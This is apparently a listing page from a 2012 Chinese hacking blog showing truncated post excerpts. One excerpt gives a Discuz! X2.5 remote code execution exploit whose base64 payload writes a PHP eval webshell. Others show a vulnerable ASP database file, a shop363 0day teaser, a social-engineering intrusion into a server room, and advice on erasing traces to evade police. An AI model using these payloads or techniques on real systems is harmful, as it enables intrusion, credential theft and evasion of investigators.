暴库 漏洞 天创科技

  By SXnake | 2012 年 5 月 19 日 - 下午 10:01 | 入侵渗透
Leave a comment

漏洞原因：暴库

http://127.0.0.1/topconn.asp 文件代码如下：

<%
dim db
id=replace(trim(request.form(“id”)),”and”,”")

db=”../data/data.mdb”
Set conn =[......]

显示全部

DZ2.5漏洞 Discuz! X2.5 远程代码执行漏洞及EXP

  By SXnake | 2012 年 5 月 19 日 - 下午 9:32 | 安全频道
Leave a comment

1.注册任意账户 2.登陆用户，发表blog日志（注意是日志） 3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}[......]

显示全部

社会工程学：网络工程师必须具备的反侦察能力

  By SXnake | 2012 年 5 月 18 日 - 下午 9:29 | 入侵渗透, 安全频道
Leave a comment

什么是反查技术?即反侦查技术。在黑客攻击中，最重要的一部分不是成功侵入主机，而是清除痕迹，不要让管理者发现被侵入及数据被伪造。同理，社会工程学也有这样的概念，那么，我们得清除哪些痕迹以免遭网络警察(以下称之为网警)的发现?这一部分我们从网警角度来看问题，看看他们如何来能否找到社会工程师的蛛丝马迹。或[......]

显示全部

经典社会工程学渗透IDC机房服务器

  By SXnake | 2012 年 5 月 18 日 - 下午 9:26 | 个人日记, 入侵渗透
Leave a comment

周末无聊，和眼圈聊天，告诉他我在用社会工程搞一个站点，真是没想到他竟然也在忙这个，我搞的是ARM产品的，拿到了系统管理员的密码。他竟然是在搞一个IDC公司，而且已经获得整个机房的管理员权限。看来目前的社会工程是很火的，本着发扬共享精神得原则，我们把自己的一点心得发出来，供大家参考，不足之处，还望大家[......]

显示全部

shop363网店程序真正通杀漏洞0day利用

  By SXnake | 2012 年 5 月 18 日 - 下午 9:13 | 入侵渗透, 安全频道
Leave a comment

这个程序安全不是很好，不过其中的一个replace（）函数写的很好，不过没有找到是怎么写的，将注射中的“空格、select、%20、+号、还有/**/等过滤为空。在搜索出存在漏洞语句很麻烦 ，我也不写了，直接来个釜底抽薪的方法，直接拿密码账号很快的。
关键字：技术支持：shop363.net   [......]

显示全部